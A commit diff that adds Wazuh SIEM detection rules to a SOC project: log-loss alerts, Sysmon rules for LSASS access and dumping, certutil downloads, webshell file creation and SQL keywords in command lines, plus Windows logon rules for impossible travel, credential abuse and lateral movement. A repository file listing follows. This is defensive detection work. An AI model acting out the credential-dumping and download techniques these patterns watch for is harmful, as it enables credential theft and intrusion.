+
39
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
40
+
41
+
42
+
43
+
44
+</group>

+ 22 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b2-logmon-rules.xml

@@ -0,0 +1,22 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix B2: Log Monitoring
3
+  Simulation profile rule IDs : 100411
4
+  Production profile rule IDs : 110411
5
+-->
6
+<group name="soc_mvp,appendix_b,b2,logmonitor,">
7
+
8
+  <!-- ── Simulation profile ── -->
9
+
10
+
11
+  <!-- ── Production profile (anchored to 100260 = soc-prod-integrator) ── -->
12
+
13
+  <rule id="110411" level="5">
14
+    <if_sid>100260</if_sid>
15
+    <match>event_type=log_loss_detection</match>
16
+    <description>B2-01 [PROD] Log Monitor: log ingestion loss detected on monitored stream</description>
17
+    <group>soc_prod,b2,log_loss,</group>
18
+    <mitre><id>T1562.006</id></mitre>
19
+  </rule>
20
+
21
+
22
+</group>

+ 97 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b3-sysmon-rules.xml

@@ -0,0 +1,97 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix B3: Windows Sysmon
3
+  Simulation profile rule IDs : 100421-100426
4
+  Production profile rule IDs : 110421-110426
5
+
6
+  Production rules use specific built-in Wazuh Sysmon SIDs as parents
7
+  to avoid the N×M rule-tree explosion from if_group=sysmon:
8
+    61603 → Sysmon event 1  (process create)
9
+    61612 → Sysmon event 10 (process access)
10
+    61613 → Sysmon event 11 (file create)
11
+-->
12
+<group name="soc_mvp,appendix_b,b3,sysmon,">
13
+
14
+  <!-- ── Simulation profile ── -->
15
+
16
+
17
+
18
+
19
+
20
+
21
+
22
+  <!-- ── Production profile ──
23
+       Parents are specific built-in Wazuh Sysmon SIDs (not if_group=sysmon)
24
+       to avoid N×M rule-tree explosion.
25
+  -->
26
+
27
+  <!-- B3-01: LSASS process access via procdump (Sysmon event 10)
28
+       Parent: 61612 (Sysmon event 10 - process access) -->
29
+  <rule id="110421" level="12">
30
+    <if_sid>61612</if_sid>
31
+    <field name="win.eventdata.targetImage" type="pcre2">(?i)lsass\.exe</field>
32
+    <description>B3-01 [PROD] Sysmon: LSASS process access detected (event 10)</description>
33
+    <group>soc_prod,b3,credential_access,lsass,</group>
34
+    <mitre><id>T1003.001</id></mitre>
35
+  </rule>
36
+
37
+  <!-- B3-02: SQL injection keywords in process command line (Sysmon event 1)
38
+       Parent: 61603 (Sysmon event 1 - process create) -->
39
+  <rule id="110422" level="12">
40
+    <if_sid>61603</if_sid>
41
+    <field name="win.eventdata.commandLine" type="pcre2">(?i)select|union|insert|drop|exec</field>
42
+    <description>B3-02 [PROD] Sysmon: SQL keyword in process command line (event 1)</description>
43
+    <group>soc_prod,b3,webapp,sqli,</group>
44
+    <mitre><id>T1190</id></mitre>
45
+  </rule>
46
+
47
+  <!-- B3-03: Web script file creation (Sysmon event 11)
48
+       Parent: 61613 (Sysmon event 11 - file create) -->
49
+  <rule id="110423" level="12">
50
+    <if_sid>61613</if_sid>
51
+    <field name="win.eventdata.targetFilename" type="pcre2">\.(?:php|aspx|asp|jsp)$</field>
52
+    <description>B3-03 [PROD] Sysmon: web script file created (possible webshell, event 11)</description>
53
+    <group>soc_prod,b3,webapp,webshell,</group>
54
+    <mitre><id>T1505.003</id></mitre>
55
+  </rule>
56
+
57
+  <!-- B3-04: msiexec uninstall (Sysmon event 1)
58
+       Parent: 61603 (Sysmon event 1 - process create) -->
59
+  <rule id="110424" level="12">
60
+    <if_sid>61603</if_sid>
61
+    <field name="win.eventdata.commandLine" type="pcre2">(?i)msiexec</field>
62
+    <field name="win.eventdata.commandLine" type="pcre2">(?i)/x|/uninstall</field>
63
+    <description>B3-04 [PROD] Sysmon: msiexec uninstall detected (event 1)</description>
64
+    <group>soc_prod,b3,defense_evasion,</group>
65
+    <mitre><id>T1562.001</id></mitre>
66
+  </rule>
67
+
68
+  <!-- B3-05: LSASS dump via Task Manager (Sysmon event 10)
69
+       Parent: 61612 (Sysmon event 10 - process access) -->
70
+  <rule id="110425" level="12">
71
+    <if_sid>61612</if_sid>
72
+    <field name="win.eventdata.sourceImage" type="pcre2">(?i)Taskmgr\.exe</field>
73
+    <field name="win.eventdata.targetImage" type="pcre2">(?i)lsass\.exe</field>
74
+    <description>B3-05 [PROD] Sysmon: LSASS dump via Task Manager (event 10)</description>
75
+    <group>soc_prod,b3,credential_access,lsass,</group>
76
+    <mitre><id>T1003.001</id></mitre>
77
+  </rule>
78
+
79
+  <!-- B3-06: certutil download (Sysmon event 1)
80
+       Parent: 61603 (Sysmon event 1 - process create) -->
81
+  <rule id="110426" level="8">
82
+    <if_sid>61603</if_sid>
83
+    <field name="win.eventdata.image" type="pcre2">(?i)certutil\.exe</field>
84
+    <description>B3-06 [PROD] Sysmon: certutil.exe execution detected (event 1)</description>
85
+    <group>soc_prod,b3,download,</group>
86
+    <mitre><id>T1105</id></mitre>
87
+  </rule>
88
+
89
+  <!-- ── Production normalized key=value path (soc-mvp production profile) ── -->
90
+
91
+
92
+
93
+
94
+
95
+
96
+
97
+</group>

+ 134 - 0
wazuh-docker/single-node/config/wazuh_cluster/rules/soc-c1-c3-rules.xml

@@ -0,0 +1,134 @@
1
+<!--
2
+  SOC Proposal Rules — Appendix C1-C3
3
+  C1: Impossible Travel
4
+  C2: Advanced Credential Abuse & Privilege Misuse
5
+  C3: Lateral Movement & Internal Reconnaissance
6
+
7
+  Simulation profile rule IDs : 100501, 100511-100514, 100521-100524
8
+  Production profile rule IDs : 110501, 110502, 110511-110514, 110521-110524
9
+
10
+  C1 prod: if_group=fortigate (VPN) or if_sid=100260 (soc-integrator)
11
+  C2/C3 prod: specific built-in Wazuh SIDs to avoid N×M explosion:
12
+    60106 → event 4624 (auth success / logon)
13
+    60113 → events 4728/4732 (group membership change)
14
+-->
15
+<group name="soc_mvp,appendix_c,">
16
+
17
+  <!-- ================================================================
18
+       C1: Impossible Travel Detection
19
+       ================================================================ -->
20
+
21
+
22
+  <rule id="110501" level="12">
23
+    <if_group>fortigate</if_group>
24
+    <match>action="ssl-login-success"</match>
25
+    <description>C1-01 [PROD] VPN login success with geo context — impossible travel candidate</description>
26
+    <group>soc_prod,c1,impossible_travel,identity,</group>
27
+    <mitre><id>T1078</id></mitre>
28
+  </rule>
29
+
30
+  <rule id="110502" level="15">
31
+    <if_sid>100260</if_sid>
32
+    <match>event_type=c1_impossible_travel</match>
33
+    <description>C1-01 [PROD] Impossible travel confirmed by soc-integrator correlation</description>
34
+    <group>soc_prod,c1,impossible_travel,identity,</group>
35
+    <mitre><id>T1078</id></mitre>
36
+  </rule>
37
+
38
+
39
+
40
+  <!-- ================================================================
41
+       C2: Advanced Credential Abuse & Privilege Misuse
42
+       ================================================================ -->
43
+
44
+
45
+
46
+
47
+
48
+  <!-- C2 production rules
49
+       Parent: 60106 (event 4624 - logon success) for auth rules
50
+               60113 (events 4728/4732 - group membership) for privilege rules -->
51
+
52
+  <rule id="110511" level="12">
53
+    <if_sid>60106</if_sid>
54
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)admin</field>
55
+    <description>C2-01 [PROD] Privileged account auth success (4624)</description>
56
+    <group>soc_prod,c2,credential_abuse,identity,</group>
57
+    <mitre><id>T1078.002</id></mitre>
58
+  </rule>
59
+
60
+  <rule id="110512" level="8">
61
+    <if_sid>60106</if_sid>
62
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)legacy</field>
63
+    <description>C2-02 [PROD] Dormant/legacy account auth success (4624)</description>
64
+    <group>soc_prod,c2,credential_abuse,identity,</group>
65
+    <mitre><id>T1078</id></mitre>
66
+  </rule>
67
+
68
+  <rule id="110513" level="12">
69
+    <if_sid>60106</if_sid>
70
+    <field name="win.eventdata.logonType">^10$</field>
71
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)svc|service|\$$</field>
72
+    <description>C2-03 [PROD] Service account remote interactive logon type 10 (4624)</description>
73
+    <group>soc_prod,c2,service_account,identity,</group>
74
+    <mitre><id>T1078.003</id></mitre>
75
+  </rule>
76
+
77
+  <rule id="110514" level="12">
78
+    <if_sid>60113</if_sid>
79
+    <field name="win.system.eventID">^4732$</field>
80
+    <description>C2-04 [PROD] Privilege escalation: group membership change (4732)</description>
81
+    <group>soc_prod,c2,privilege_escalation,identity,</group>
82
+    <mitre><id>T1098.007</id></mitre>
83
+  </rule>
84
+
85
+
86
+
87
+
88
+
89
+  <!-- ================================================================
90
+       C3: Lateral Movement & Internal Reconnaissance
91
+       ================================================================ -->
92
+
93
+
94
+
95
+
96
+
97
+  <!-- C3 production rules
98
+       Parent: 60106 (event 4624 - logon success) -->
99
+
100
+  <rule id="110521" level="12">
101
+    <if_sid>60106</if_sid>
102
+    <field name="win.eventdata.logonType">^10$</field>
103
+    <description>C3-01/02 [PROD] RDP auth success logon type 10 (lateral movement indicator)</description>
104
+    <group>soc_prod,c3,lateral_movement,rdp,</group>
105
+    <mitre><id>T1021.001</id></mitre>
106
+    <mitre><id>T1078</id></mitre>
107
+  </rule>
108
+
109
+  <rule id="110522" level="12">
110
+    <if_sid>60106</if_sid>
111
+    <field name="win.eventdata.logonType">^3$</field>
112
+    <description>C3-02 [PROD] SMB network logon type 3 (lateral movement indicator)</description>
113
+    <group>soc_prod,c3,lateral_movement,smb,</group>
114
+    <mitre><id>T1021.002</id></mitre>
115
+    <mitre><id>T1078</id></mitre>
116
+  </rule>
117
+
118
+  <rule id="110523" level="15">
119
+    <if_sid>60106</if_sid>
120
+    <field name="win.eventdata.targetUserName" type="pcre2">(?i)admin</field>
121
+    <description>C3-03 [PROD] Admin account auth success — lateral movement candidate (4624)</description>
122
+    <group>soc_prod,c3,lateral_movement,admin,</group>
123
+    <mitre><id>T1021.001</id></mitre>
124
+    <mitre><id>T1078.002</id></mitre>
125
+  </rule>
126
+
127
+  <!-- C3-04 PROD: WFP event 5156 has no specific built-in Wazuh parent SID.
128
+       Skip prod rule to avoid N×M explosion from using a generic windows parent. -->
129
+
130
+
131
+
132
+
133
+
134
+</group>

+ 8 - 0
wazuh-docker/single-node/docker-compose.yml

@@ -44,6 +44,14 @@ services:
44 44
       - ./config/wazuh_cluster/wazuh_manager.conf:/var/ossec/etc/ossec.conf
45 45
       - ./config/wazuh_cluster/local_decoder.xml:/var/ossec/etc/decoders/local_decoder.xml
46 46
       - ./config/wazuh_cluster/local_rules.xml:/var/ossec/etc/rules/local_rules.xml
47
+      - ./config/wazuh_cluster/rules/soc-a1-ioc-rules.xml:/var/ossec/etc/rules/soc-a1-ioc-rules.xml
48
+      - ./config/wazuh_cluster/rules/soc-a2-fortigate-fw-rules.xml:/var/ossec/etc/rules/soc-a2-fortigate-fw-rules.xml
49
+      - ./config/wazuh_cluster/rules/soc-a3-fortigate-vpn-rules.xml:/var/ossec/etc/rules/soc-a3-fortigate-vpn-rules.xml
50
+      - ./config/wazuh_cluster/rules/soc-a4-windows-ad-rules.xml:/var/ossec/etc/rules/soc-a4-windows-ad-rules.xml
51
+      - ./config/wazuh_cluster/rules/soc-b1-vmware-rules.xml:/var/ossec/etc/rules/soc-b1-vmware-rules.xml
52
+      - ./config/wazuh_cluster/rules/soc-b2-logmon-rules.xml:/var/ossec/etc/rules/soc-b2-logmon-rules.xml
53
+      - ./config/wazuh_cluster/rules/soc-b3-sysmon-rules.xml:/var/ossec/etc/rules/soc-b3-sysmon-rules.xml
54
+      - ./config/wazuh_cluster/rules/soc-c1-c3-rules.xml:/var/ossec/etc/rules/soc-c1-c3-rules.xml
47 55
 
48 56
   wazuh.indexer:
49 57
     image: wazuh/wazuh-indexer:4.14.3

tum/soc - Gogs: Simplico Git Service

暂无描述

tum 922e61ec37 wazuh iris 6 天之前
..
app 922e61ec37 wazuh iris 6 天之前
dependencies 9de2549954 first commit 1 月之前
scripts 9de2549954 first commit 1 月之前
spectaql 9de2549954 first commit 1 月之前
tests 9de2549954 first commit 1 月之前
requirements.txt 9de2549954 first commit 1 月之前
run.py 9de2549954 first commit 1 月之前